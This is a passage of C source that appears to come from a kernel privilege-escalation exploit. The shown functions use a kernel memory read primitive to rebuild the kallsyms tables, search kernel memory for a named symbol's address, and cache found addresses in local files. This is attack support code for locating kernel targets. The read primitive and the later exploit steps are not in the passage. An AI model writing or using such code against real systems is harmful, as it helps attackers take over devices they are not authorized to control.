if (kallsyms.token_table_data == NULL)
error("allocating token table");
for (unsigned long i = 0 ; i < token_table_length ; i++)
kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i);
offset = (offset + 0xFF) & ~0xFFul;
kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data));
have_kallsyms = 1;
return 1;
}
unsigned long findSymbol_memory_search(char* symbol) {
message("MAIN: searching for kallsyms table");
if (! loadKallsyms()) {
message("MAIN: **fail** cannot find kallsyms table");
}
unsigned long offset = kallsyms.names;
char name[KSYM_NAME_LEN];
unsigned n = strlen(symbol);
for(unsigned long i = 0; i < kallsyms.num_syms; i++) {
unsigned int n = get_kallsyms_name(offset, name);
if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) {
unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8);
message( "MAIN: found %s in kernel memory at %lx", symbol, address);
return address;
}
offset += n;
}
return 0;
}
char* allocateSymbolCachePathName(char* symbol) {
int n = strlen(myPath);
char* pathname = malloc(strlen(symbol)+7+1+n);
if (pathname == NULL) {
errno = 0;
error("allocating memory for pathname");
}
strcpy(pathname, myPath);
strcat(pathname, symbol);
strcat(pathname, ".symbol");
return pathname;
}
unsigned long findSymbol_in_cache(char* symbol) {
char* pathname = allocateSymbolCachePathName(symbol);
unsigned long address = 0;
FILE *cached = fopen(pathname, "r");
if (cached != NULL) {
fscanf(cached, "%lx", &address);
fclose(cached);
}
free(pathname);
return address;
}
void cacheSymbol(char* symbol, unsigned long address) {
#ifdef KALLSYMS_CACHING
if (address != 0 && address != findSymbol_in_cache(symbol)) {
char* pathname = allocateSymbolCachePathName(symbol);